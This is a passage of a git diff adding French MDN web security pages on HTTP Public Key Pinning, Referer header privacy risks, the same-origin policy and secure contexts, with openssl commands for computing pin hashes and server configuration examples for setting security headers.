+<p>Pour s'assurer de l’authenticité de la clé publique du serveur utilisé dans une session TLS, cette clé publique est enveloppée dans un certificat X.509 qui est généralement signé par une autorité de certifications (CA, pour Certificate Authority). Les clients web tels que les navigateurs font confiance à beaucoup de ces autorités de certifications, et chacune d'entre elles peut créer des certificats pour des domaines arbitraires. Si un attaquant est capable de compromettre une seule de ces CA, il peut pratiquer des attaques {{Glossary("MitM")}} sur diverses connections TLS. HPKP peut contourner cette menace pour le protocole HTTPS en disant au client web quelles clés publiques appartiennent à un certain serveur web.</p>
+
+<p>HPKP est une technique qui s'appuie sur la confiance au premier accès (TOFU, <em>Trust on First Use</em>). La première fois un serveur web dit au client en utilisant l'en-tête HTTP HPKP quelles clés publiques lui appartiennent, le client sauvegarde cette information pour une période de temps donnée. Quand le client visite le serveur à nouveau, il s'attend à un certificat contenant une clé publique dont l'empreinte est sauvegardée. Si le serveur présente une clé publique inconnue, le client doit présenter un avertissement à l'utilisateur.</p>
+
+<p class="note">Firefox (and Chrome) <strong>désactivent la vérification de l'épinglage</strong> lorsqu'un site épinglé présentent une chaine de certificats qui se termine par <strong>un certificat racine installé par l'utilisateur</strong> (et non un certificat racine de base).</p>
+
+<h2 id="Activer_HPKP">Activer HPKP</h2>
+
+<p>Activer cette fonctionnalité pour votre site est simple : il faut juste retourner l'en tête HTTP <code>Public-Key-Pins</code> HTTP quand le site est accédé via HTTPS :</p>
+
+<pre>Public-Key-Pins: pin-sha256="base64=="; max-age=<em>expireTime</em> [; includeSubdomains][; report-uri="<em>reportURI"</em>]
+</pre>
+
+<dl>
+ <dt><code>pin-sha256</code></dt>
+ <dd>La chaîne de caractère entre guillemets est l’empreinte du <em>Subject Public Key Information</em> (SPKI) encodé en base 64. Il est possible de spécifier plusieurs épinglage (pin) pour différentes clé publiques. Certains navigateurs pourraient autoriser dans le future d'autres algorithmes de hachage que SHA-256. Voir plus bas comment extraire cette information depuis le fichier d'un certificat ou d'une clé.</dd>
+ <dt><code>max-age</code></dt>
+ <dd>Le temps, en seconde, pendant laquelle le navigateur doit mémoriser que le site ne doit être visité qu'avec l'une des clés épinglées.</dd>
+ <dt><code>includeSubdomains</code> {{ optional_inline() }}</dt>
+ <dd>Si ce paramètre optionnel est spécifié, cette règle s'applique aussi a tous les sous-domaines du domaine actuel.</dd>
+ <dt><code>report-uri</code> {{ optional_inline() }}</dt>
+ <dd>Si ce paramètre optionnel est spécifié, les échecs de validation sont notifiés à l'URL donnée.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> La spécification actuelle <strong>impose</strong> d'inclure au minimum une seconde clé dite de sauvegarde, qui n'est pas encore utilisée en production. Cela permet de changer de clé publique sans bloquer l'accès aux clients qui auraient déjà noté les clés épinglés. C'est important par exemple dans le cas où la clé actuellement utilisées serait compromise, ce qui forcerait l'utilisation d'une clé différente (la clé de sauvegarde dans ce cas).</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Firefox n'implémente pas encore les rapports de violation d'épinglage. Chrome les implémente à partie de la version 46.</p>
+
+<ul>
+ <li>Firefox: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1091176">Bug 1091176 - Implement report-uri directive for HPKP </a> et <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=787133">Bug 787133 - (hpkp) Implement Public Key Pinning Extension for HTTP (HPKP)</a></li>
+ <li>Chrome: <a href="https://developers.google.com/web/updates/2015/09/HPKP-reporting-with-chrome-46">https://developers.google.com/web/updates/2015/09/HPKP-reporting-with-chrome-46</a> , <a href="https://www.chromestatus.com/feature/4669935557017600">HTTP Public Key Pinning violating reporting</a> et <a href="https://code.google.com/p/chromium/issues/detail?id=445793"> Issue 445793: HPKP Reporting on invalid pins</a></li>
+</ul>
+</div>
+
+<p id="sect1"> </p>
+
+<h3 id="Extraire_la_clé_publique_encodé_en_Base64">Extraire la clé publique encodé en Base64</h3>
+
+<p>En premier, vous devez extraire la clé publique depuis votre fichier de certificats ou de clés puis l'encoder en base 64.</p>
+
+<p>Les commandes suivantes vous aideront à extraire la clé publique et à l'encoder en base 64 depuis le fichier d'une clé, d'un certificat ou d'un CSR (Certificate Signing Request).</p>
+
+<pre><code>openssl rsa -in my-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | </code>openssl enc -base64</pre>
+
+<pre><code>openssl req -in my-signing-request.csr -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | </code>openssl enc -base64</pre>
+
+<pre><code>openssl x509 -in my-certificate.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | </code>openssl enc -base64</pre>
+
+<h3 id="sect2"> </h3>
+
+<h3 id="Exemple_d'entête_HPKP">Exemple d'entête HPKP</h3>
+
+<pre>Public-Key-Pins: pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="; pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="; max-age=5184000; includeSubdomains; report-uri="<em>https://www.example.net/hpkp-report"</em></pre>
+
+<p>Dans cet exemple, <strong>pin-sha256="cUPcTAZWKaASuYWhhneDttWpY3oBAkE3h2+soZS7sWs="</strong> épingle la clé publique utilisée en production par le serveur. La deuxième déclaration d'épinglage <strong>pin-sha256="M8HztCzM3elUxkcjR2S5P4hhyBNf6lHkmjAHKhpGPWE="</strong> représente la clé de sauvegarde. <strong>max-age=5184000</strong> dit au client de mémoriser cette information pendant deux mois, ce qui est un temps raisonnable d'après la RFC. Cet épinglage s'applique aussi à tous les sous-domaines, car <strong>includeSubdomains</strong> est présent. Enfin, <strong>report-uri="https://www.example.net/hpkp-report"</strong> indique où envoyer les rapports d'erreurs de validation.</p>
+
+<p> </p>
+
+<h3 id="Mettre_en_place_le_header_HPKP_sur_votre_serveur_web">Mettre en place le header HPKP sur votre serveur web</h3>
+
+<p>Les étapes concrètes nécessaires pour délivrer l'en-tête HPKP dépendent du serveur web que vous utilisez.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Ces exemples utilisent un a max-age de deux mois et incluent aussi tous les sous-domaines. Il est conseillé de vérifier que cela convient à votre serveur.</p>
+</div>
+
+<p>Inclure une ligne similaire à votre configuration activera HPKP, en remplaçant les valeurs en pointillé des lignes <code>pin-sha256="..." </code>:</p>
+
+<h4 id="Apache">Apache</h4>
+
+<pre>Header always set Public-Key-Pins "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains"
+</pre>
+
+<p><strong>Note :</strong> Cela demande le module <code>mod_headers</code> activé.</p>
+
+<h4 id="Nginx">Nginx</h4>
+
+<pre>add_header Public-Key-Pins 'pin-sha256="base64+primary=="; pin-sha256="base64+backup=="; max-age=5184000; includeSubDomains';</pre>
+
+<p><strong>Note :</strong> Cela demande le module <code>ngx_http_headers_module</code>.</p>
+
+<h4 id="Lighttpd">Lighttpd</h4>
+
+<pre>setenv.add-response-header  = ( "Public-Key-Pins" =&gt; "pin-sha256=\"base64+primary==\"; pin-sha256=\"base64+backup==\"; max-age=5184000; includeSubDomains")</pre>
+
+<p><strong>Note:</strong> Cela demande le module <code>mod_setenv</code> chargé, ce qui peut être fait en ajoutant la ligne suivante (s'il n'est pas déjà chargé) :</p>
+
+<pre><code>server.modules += ( "mod_setenv" )</code></pre>
+
+<h2 id="sect3"> </h2>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome("38") }}</td>
+   <td>{{ CompatGeckoDesktop("35") }}</td>
+   <td>{{ CompatNo()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome pour Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("35") }}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7469">IETF RFC - Public Key Pinning Extension for HTTP</a></li>
+</ul>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/fr/docs/S%C3%A9curit%C3%A9/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+</ul>
diff --git a/files/fr/web/security/referer_header_colon__privacy_and_security_concerns/index.html b/files/fr/web/security/referer_header_colon__privacy_and_security_concerns/index.html
new file mode 100644
index 0000000000..cf4e65ea9b
--- /dev/null
+++ b/files/fr/web/security/referer_header_colon__privacy_and_security_concerns/index.html
@@ -0,0 +1,56 @@
+---
+title: 'Referer header: privacy and security concerns'
+slug: 'Web/Security/Referer_header:_privacy_and_security_concerns'
+tags:
+  - Privacy
+  - Referrer Policy
+  - Sécurité
+  - referer
+  - referrer
+translation_of: 'Web/Security/Referer_header:_privacy_and_security_concerns'
+---
+<p class="summary">L'<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">entête HTTP Referer</a> présente des risques de confidentialité et de sécurité<a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">.</a> Cet article les décrit et donne des conseils pour les minimiser.</p>
+
+<h2 id="Le_problème...">Le problème...</h2>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">L'en-tête </span></span><code>{{httpheader("Referer")}}</code> (sic) <span class="tlid-translation translation" lang="fr"><span title=""> contient l'adresse de la page web précédente lorsqu'un lien vers la page actuelle a été suivi, ce qui offre de nombreuses possibilités légitimes comme l'analyse, la journalisation ou la mise en cache optimisée</span><span title="">. </span><span title="">Cependant, il existe des utilisations plus problématiques telles que le suivi ou le vol d'informations, ou même des effets secondaires tels que la fuite accidentelle d'informations sensibles.</span></span></p>
+
+<p>Par exemple, considérons une page de réinitialisation de mot de passe comportant un lien vers un réseau social dans le pied de page. Si le lien a été suivi, selon la façon dont l’information a été partagée, le réseau social peut recevoir l’URL de réinitialisation du mot de passe et peut toujours être en mesure d’utiliser l’information partagée, ce qui pourrait compromettre la sécurité de l’utilisateur.</p>
+
+<p>Selon la même logique, une image hébergée chez un tiers, mais intégrée à votre page, pourrait entrainer la fuite d'informations sensibles pour le tiers. Même si la sécurité n’est pas compromise, l’information peut ne pas être quelque chose que l’utilisateur veut partager.</p>
+
+<h2 id="Comment_régler_ce_problème">Comment régler ce problème ?</h2>
+
+<p>Une grande partie de ce risque peut être atténuée en concevant de manière adéquate les applications. Une application correctement conçue éliminerait ces risques en ne donnant la possibilité d'utiliser qu'une seule fois les URLs de réinitialisation, ou en associant ces URLs à un jeton utilisateur unique, et en transmettant les données sensibles par différents moyens.</p>
+
+<p>Vous devez utiliser <code>POST</code> plutôt que <code>GET</code> dans la mesure du possible, pour éviter de transmettre des données sensibles à d’autres emplacements via des URL.</p>
+
+<p>Vous devriez toujours utiliser <code>{{glossary("HTTPS")}}</code> pour vos sites. Cela présente de nombreux avantages en matière de sécurité, y compris le fait que les sites HTTPS ne transmettent jamais le "referer" à des sites non-HTTPS. C'est aujourd'hui de moins en moins nécessaire maintenant que la plupart des sites Web utilisent HTTPS, mais cela reste malgré tout un élément à prendre en compte.</p>
+
+<p>De plus, vous devriez envisager de supprimer tout contenu provenant d'un tiers (ex., les widgets de réseautage social inclus dans des <code>{{htmlelement("iframe")}})</code> des zones sécurisées de vos sites Web, comme les pages de réinitialisation de mots de passe, les formulaires de paiement, les interfaces de connexion, etc.</p>
+
+<p>Vous pouvez également atténuer ces risques en utilisant :</p>
+
+<ul>
+ <li>L’en-tête <code>{{httpheader("Referrer-Policy")}}</code> sur votre serveur pour contrôler quelle information est envoyée par l’en-tête <code>Referer</code>. Encore une fois, une directive <code>no-referrer</code> omettrait intégralement l’en-tête <code>Referer</code>.</li>
+ <li>L’attribut <code>referrerpolicy</code> sur les éléments HTML qui présentent des risques de fuite d'informations (comme <code>&lt;img&gt;</code> et <code>&lt;a&gt;</code>). Cet attribut peut prendre par exemple la valeur  <code>no-referrer</code> afin d'empêcher l'envoi de l’en-tête <code>Referer</code>.</li>
+ <li>L’attribut <code>rel</code> défini à <code>noreferrer</code> sur les éléments HTML à risques (comme <code>&lt;img&gt;</code> et &lt;a&gt;). Voir Types de liens et rechercher <code>noreferrer</code> pour plus d’informations.</li>
+ <li>La technique de la <a href="https://geekthis.net/post/hide-http-referer-headers/#exit-page-redirect">page de sortie</a>.</li>
+</ul>
+
+<p>Les frameworks soucieux de la sécurité employés côté serveur ont tendance à inclure d'emblée des mesures d’atténuation pour résoudre ces problèmes, par exemple :</p>
+
+<ul>
+ <li>La sécurité dans Django (voir notamment Cross Site Request Forgery (CSRF) protection).</li>
+ <li>helmet referrer-policy — middleware pour configurer l'entête Referrer-Policy dans les applications Node.js/Express (voir aussi helmet pour plus d'aménagements liés à la sécurité).</li>
+</ul>
+
+<h2 id="Politique_et_exigences.">Politique et exigences.</h2>
+
+<p>Il serait pertinent de rédiger pour votre (vos) équipe(s) de projet un ensemble d’exigences en matière de sécurité et de protection des renseignements personnels en en précisant l’utilisation dans le cadre de l'atténuation des risques. Vous devriez demander l’aide d’un expert en sécurité Web pour rédiger ces exigences en tenant compte à la fois des besoins et du bien-être des utilisateurs, ainsi que d’autres questions liées à la législation et la réglementation comme le <a href="https://ec.europa.eu/info/law/law-topic/data-protection/eu-data-protection-rules_fr">Réglement Général à la Protection des Données de l'Union Européenne</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://infosec.mozilla.org/guidelines/web_security.html#referrer-policy">Lignes directrices de l'équipe de sécurité de Mozilla sur Referrer-Policy</a></li>
+</ul>
diff --git a/files/fr/web/security/same_origin_policy_for_javascript/index.html b/files/fr/web/security/same_origin_policy_for_javascript/index.html
new file mode 100644
index 0000000000..bcbdbe613f
--- /dev/null
+++ b/files/fr/web/security/same_origin_policy_for_javascript/index.html
@@ -0,0 +1,115 @@
+---
+title: Same-origin policy
+slug: Web/Security/Same_origin_policy_for_JavaScript
+translation_of: Web/Security/Same-origin_policy
+---
+<p>La same-origin policy restreint la manière dont un document ou un script chargé depuis une origine peut interagir avec une autre ressource chargée depuis une autre origine.</p>
+
+<h2 id="Définition_de_lorigine">Définition de l'origine</h2>
+
+<p>Deux pages ont la même origine si le protocole, le port (si spécifié) et l'hôte sont les mêmes pour les deux pages. Le tableau suivant présente des comparaisons d'origines pour l'URL <code><span class="nowiki">http://store.company.com/dir/page.html</span></code>:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>URL</th>
+   <th>Résultat</th>
+   <th>Motif</th>
+  </tr>
+  <tr>
+   <td><code><span class="nowiki">http://store.company.com/dir2/other.html</span></code></td>
+   <td>Succès</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><span class="nowiki">http://store.company.com/dir/inner/another.html</span></code></td>
+   <td>Succès</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code><span class="nowiki">https://store.company.com/secure.html</span></code></td>
+   <td>Échec</td>
+   <td>Protocoles différents</td>
+  </tr>
+  <tr>
+   <td><code><span class="nowiki">http://store.company.com:81/dir/etc.html</span></code></td>
+   <td>Échec</td>
+   <td>Port différents</td>
+  </tr>
+  <tr>
+   <td><code><span class="nowiki">http://news.company.com/dir/other.html</span></code></td>
+   <td>Échec</td>
+   <td>Hôtes différents</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Voir aussi <a href="/en-US/docs/Same-origin_policy_for_file:_URIs" title="/en-US/docs/Same-origin_policy_for_file:_URIs">origin definition for <code>file:</code> URLs</a>.</p>
+
+<p>Les cookies utilisent une définition de l'origine différente de celle qui vient d'être définie.</p>
+
+<h2 id="Changer_lorigine">Changer l'origine</h2>
+
+<p>Une page peut changer son origine dans une certaine mesure. Un script peut définir la valeur de <code><a href="/en/DOM/document.domain" title="en/DOM/document.domain">document.domain</a> </code>vers un suffixe du domaine courant. S'il procéde ainsi, le domaine le plus court sera utilisé pour les prochaines vérifications d'origines. Par exemple, un script dans la page <code><span class="nowiki">http://store.company.com/dir/other.html</span></code> exécute le code suivant :</p>
+
+<pre class="eval">document.domain = "company.com";
+</pre>
+
+<p>Après l'exécution de ce code, la page passerait le test d'origine avec <code><span class="nowiki">http://company.com/dir/page.html</span></code>. Ceci-dit, il ne serait pas possible de définir <code>document.domain</code> à <code>othercompany.com</code>.</p>
+
+<p>Le numéro de port est stocké par le navigateur séparément. Tout appel aux setter, y compris <code>document.domain = document.domain </code>entraîne l'effacement du port par la valeur <code>null</code>. Une page située sur <code>company.com:8080 </code>ne peut donc pas communiquer avec une autre située sur <code>company.com </code>en ne définissant que <code>document.domain = "company.com"</code> dans la première page. Ceci doit être fait dans les deux pages, ainsi les ports seront à <code>null </code>pour les deux.</p>
+
+<h2 id="Accès_réseau_cross-origin">Accès réseau cross-origin</h2>
+
+<p>La same-origin policy contrôle les interactions entre deux origines différentes, quand vous utilisez <code><a href="/en-US/docs/DOM/XMLHttpRequest" title="/en-US/docs/DOM/XMLHttpRequest">XMLHttpRequest</a> </code>par exemple. Ces interactions sont généralement rangées dans trois catégories :</p>
+
+<ul>
+ <li><em>Écritures </em>cross-origin généralement autorisées. Par exemple, les liens, les redirections ou les envois de formulaires. Quelques rares requêtes HTTP nécessitent <a href="/en-US/docs/HTTP/Access_control_CORS#Preflighted_requests" title="/en-US/docs/HTTP/Access_control_CORS#Preflighted_requests">preflight</a>.</li>
+ <li><em>Embarqué </em>cross-origin généralement autorisé. Les exemples sont listés ci-après.</li>
+ <li><em>Lectures </em>cross-origin généralement non autorisées.</li>
+</ul>
+
+<p>Voici quelques exemples de ressources qui peuvent être embarqués malgré leur origine incomptatible avec la same-origin policy :</p>
+
+<ul>
+ <li>JavaScript avec <code>&lt;script src="..."&gt;&lt;/script&gt;</code>. Les messages d'erreur de syntaxe ne sont disponibles que pour les script ayant la même origine.</li>
+ <li>CSS avec<code> &lt;link rel="stylesheet" href="..."&gt;</code>. Étant donnée la <a href="http://scarybeastsecurity.blogspot.dk/2009/12/generic-cross-browser-cross-domain.html" title="http://scarybeastsecurity.blogspot.dk/2009/12/generic-cross-browser-cross-domain.html">souplesse des règles de syntaxe</a> du CSS, les CSS d'origine différentes nécessitent une entête <code>Content-Type</code> correcte. Les restrictions varient selon les navigateurs : <a href="http://msdn.microsoft.com/en-us/library/ie/gg622939%28v=vs.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ie/gg622939%28v=vs.85%29.aspx">IE</a>, <a href="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html" title="http://www.mozilla.org/security/announce/2010/mfsa2010-46.html">Firefox</a>, <a href="http://code.google.com/p/chromium/issues/detail?id=9877" title="http://code.google.com/p/chromium/issues/detail?id=9877">Chrome</a>, <a href="http://support.apple.com/kb/HT4070" title="http://support.apple.com/kb/HT4070">Safari</a> et <a href="http://www.opera.com/support/kb/view/943/" title="http://www.opera.com/support/kb/view/943/">Opera</a>.</li>
+ <li>Images avec <a href="/en-US/docs/HTML/Element/Img" title="/en-US/docs/HTML/Element/Img"><code>&lt;img&gt;</code></a>. Les formats d'image supportés, comprenant PNG, JPEG, GIF, BMP, SVG, ...</li>
+ <li>Fichiers média avec <a href="/en-US/docs/HTML/Element/video" title="/en-US/docs/HTML/Element/video"><code>&lt;video&gt;</code></a> et <a href="/en-US/docs/HTML/Element/audio" title="/en-US/docs/HTML/Element/audio"><code>&lt;audio&gt;</code></a>.</li>
+ <li>Plug-ins avec <a href="/en-US/docs/HTML/Element/object" title="/en-US/docs/HTML/Element/object"><code>&lt;object&gt;</code></a>, <a href="/en-US/docs/HTML/Element/embed" title="/en-US/docs/HTML/Element/embed"><code>&lt;embed&gt;</code></a> et <a href="/en-US/docs/HTML/Element/applet" title="/en-US/docs/HTML/Element/applet"><code>&lt;applet&gt;</code></a>.</li>
+ <li>Fonts avec <a href="/en-US/docs/CSS/@font-face" title="/en-US/docs/CSS/@font-face"><code>@font-face</code></a>. Certain navigateurs autorisent les fonts cross-origin, d'autres appliquent la same-origin policy pour les fonts.</li>
+ <li>N'importe quoi avec <a href="/en-US/docs/HTML/Element/frame" title="/en-US/docs/HTML/Element/frame"><code>&lt;frame&gt;</code></a> et <a href="/en-US/docs/HTML/Element/iframe" title="/en-US/docs/HTML/Element/iframe"><code>&lt;iframe&gt;</code></a>. Un site peut utiliser l'entête<code><a href="/en-US/docs/HTTP/X-Frame-Options" title="/en-US/docs/HTTP/X-Frame-Options"> X-Frame-Options</a></code> pour interdire cela depuis une page n'ayant pas la même origine.</li>
+</ul>
+
+<h3 id="Autoriser_laccès_cross-origin">Autoriser l'accès cross-origin</h3>
+
+<p>Utiliser <a href="/en-US/docs/HTTP/Access_control_CORS" title="/en-US/docs/HTTP/Access_control_CORS">CORS</a> pour autoriser l'accès cross-origin.</p>
+
+<h3 id="Comment_bloquer_laccès_cross-origin_access">Comment bloquer l'accès cross-origin access</h3>
+
+<ul>
+ <li>Pour interdire les écritures cross-origin writes, contrôlez dans la requête un token qui ne peut être déviné, connu sous le nom de <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29" title="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29">Cross-Site Request Forgery (CSRF)</a> token, et interdisez la lecture cross-origin des pages qui conaissent ce token.</li>
+ <li>Pour interdire la lecture cross-origin d'une ressource, assurez-vous qu'elle ne peut pas être embarquée.</li>
+ <li>Pour interdire l'embarquement (embed) d'une ressource cross-origin, assurez vous qu'elle ne peut pas être interprétée comme une des ressources embarquable vues précédemment. Dans la plupart des cas, les navigateurs ne respectent pas le<code> Content-Type</code>. Par exemple, pour un tag <code>&lt;script&gt;</code> pointant un document HTML, le navigateur va tenter de parser le HTML comme du JavaScript. Si votre ressource n'est pas un point d'entrée de votre site, vous pouvez également utiliser une token CSRF.</li>
+</ul>
+
+<h2 id="Accès_script_cross-origin">Accès script cross-origin</h2>
+
+<p>Les APIs JavaScript comme <a href="/en-US/docs/DOM/HTMLIFrameElement" title="/en-US/docs/DOM/HTMLIFrameElement"><code>iframe.contentWindow</code></a>, <a href="/en-US/docs/DOM/window.parent" title="/en-US/docs/DOM/window.parent"><code>window.parent</code></a>, <a href="/en-US/docs/DOM/window.open" title="/en-US/docs/DOM/window.open"><code>window.open</code></a> et <a href="/en-US/docs/DOM/window.opener" title="/en-US/docs/DOM/window.opener"><code>window.opener</code></a> autorisent les documents à se référencer directement entre eux. Quand deux documents n'ont pas la même origine, ces références fournissent des accès limités aux objets <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#security-window">Window</a> et <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#security-location" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#security-location">Location</a>.  Certains navigateurs <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=839867" title="https://bugzilla.mozilla.org/show_bug.cgi?id=839867">permettent l'accès à plus de propriétés</a> que ce que les spécifications permettent. A la place, vous pouvez utiliser<code><a href="/en-US/docs/DOM/window.postMessage" title="/en-US/docs/DOM/window.postMessage"> window.postMessage</a></code> pour communiquer entre deux documents.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en/Same-origin_policy_for_file:_URIs" title="En/Same-origin policy for file: URIs">Same-origin policy for file: URIs</a></li>
+ <li><a href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">Same-Origin Policy at W3C</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Jesse Ruderman</li>
+</ul>
+</div>
+
+<div class="noinclude">{{ languages( {"ja": "Ja/Same_origin_policy_for_JavaScript", "zh-cn": "Cn/JavaScript的同源策略"} ) }}</div>
diff --git a/files/fr/web/security/secure_contexts/index.html b/files/fr/web/security/secure_contexts/index.html
new file mode 100644
index 0000000000..652438d274
--- /dev/null
+++ b/files/fr/web/security/secure_contexts/index.html
@@ -0,0 +1,154 @@
+---
+title: Secure Contexts
+slug: Web/Security/Secure_Contexts
+translation_of: Web/Security/Secure_Contexts
+---
+<p>Un navigateur entre dans un <strong>contexte sécurisé</strong> quand il a satisfait les exigences minimale de sécurité. Un contexte sécurisé permet au navigateur de mettre à disposition des APIs qui nécessitent des transferts sécurisés avec l'utilisateur.</p>
+
+<p> </p>
+
+<h2 id="Pourquoi_certaines_fonctionnalitées_devraient_être_limitées">Pourquoi certaines fonctionnalitées devraient être limitées ?</h2>
+
+<p>Certaines APIs du web peuvent donner beaucoup de pouvoir à un attaqueur, lui permettant par exemple:</p>
+
+<ul>
+ <li>Entrer dans la vie privée d'un utilisateur.</li>
+ <li>Avoir accès à l'ordinateur d'un utilisateur.</li>
+ <li>Avoir accès à des données (comme l'identité de l'utilisateur).</li>
+</ul>
+
+<h2 id="À_quel_moment_un_context_est-il_considéré_comme_sécurisé">À quel moment un context est-il considéré comme sécurisé ?</h2>
+
+<p>Un contexte sera considéré comme sécurisé s'il est servi locallement, ou depuis un serveur sécurisé. Un contexte qui n'est pas à la racine (une page qui n'est pas dans une fenêtre, iframe, ...) doit avoir tous ses contextes parents sécurisés.</p>
+
+<p>Les fichiers servis locallement avec des chemins comme <em>http://localhost</em> et <em>file://</em> sont considérés sécurisés.</p>
+
+<p>Les contextes qui ne sont pas servis locallement doivent être servis avec <em>https://</em> ou <em>wss:// </em>et les protocoles utilisés ne doivent pas être considérés obsolètes.</p>
+
+<h2 id="Détection_des_fonctionnalités">Détection des fonctionnalités</h2>
+
+<p>Les pages peuvent utiliser la détection de fonctionnalités pour vérifier si elles sont dans un context sécurisé ou non en utilisant le booléen <code>isSecureContext </code>qui est présent dans le scope global.</p>
+
+<pre class="brush: js">if (window.isSecureContext) {
+  // La page est dans un contexte sécurisé, les services workers sont disponibles.
+  navigator.serviceWorker.register("/offline-worker.js").then(function () {
+    ...
+  });
+}</pre>
+
+<h2 id="Quelles_APIs_requièrent_un_contexte_sécurisé">Quelles APIs requièrent un contexte sécurisé ?</h2>
+
+<ul>
+ <li>{{SpecName('Service Workers')}}</li>
+ <li>{{SpecName('Web Bluetooth')}}</li>
+ <li>{{SpecName('EME')}}</li>
+</ul>
+
+<h3 id="Prositions_de_brouillons">Prositions de brouillons</h3>
+
+<ul>
+ <li><a href="https://w3c.github.io/sensors/">https://w3c.github.io/sensors/</a></li>
+ <li><a href="https://w3c.github.io/webappsec-credential-management/">https://w3c.github.io/webappsec-credential-management/</a></li>
+ <li><a href="https://w3c.github.io/geofencing-api/">https://w3c.github.io/geofencing-api/</a></li>
+ <li><a href="https://w3c.github.io/web-nfc/releases/20150925/">https://w3c.github.io/web-nfc/releases/20150925/</a></li>
+</ul>
+
+<h3 id="Navigateurs">Navigateurs</h3>
+
+<p>Certains navigateurs peuvent décider de demander à certaines APIs d'être dans un contexte sécurisé même si la spécification ne le demande pas.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td> </td>
+   <td>Chrome</td>
+   <td>Safari</td>
+   <td>Firefox</td>
+  </tr>
+  <tr>
+   <td>getUserMedia</td>
+   <td>
+    <p>Désactivé</p>
+
+    <p><a href="https://codereview.chromium.org/1336633002">Supprimé dans Chrome 47</a></p>
+   </td>
+   <td> </td>
+   <td>
+    <p>Accès temporaire uniquement (les utilisateurs ne peuvent pas choisir "Retenir ce choix" dans la selection de permission).</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Geolocation</td>
+   <td>
+    <p>Désactivé</p>
+
+    <p><a href="https://codereview.chromium.org/1530403002/">Supprimé dans Chrome 50</a></p>
+   </td>
+   <td>
+    <p>Désactivé</p>
+
+    <p><a href="https://trac.webkit.org/changeset/200686">Suppression ici</a></p>
+   </td>
+   <td>
+    <p>Suppression en cours</p>
+
+    <p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1072859">Suppression attendue pour Firefox 55</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>EME</td>
+   <td>Avertissement de dépréciation</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Device motion / orientation</td>
+   <td>Avertissement de dépréciation</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>MIDI</td>
+   <td>Désactivé</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><em>{{SpecName('Web Crypto API')}}</em></td>
+   <td><em>est réservé à HTTPS même is la vérification du Secure Context est antérieur</em></td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Pour vérifier le support de votre navigateur, utilisez le site: http://permission.site</p>
+
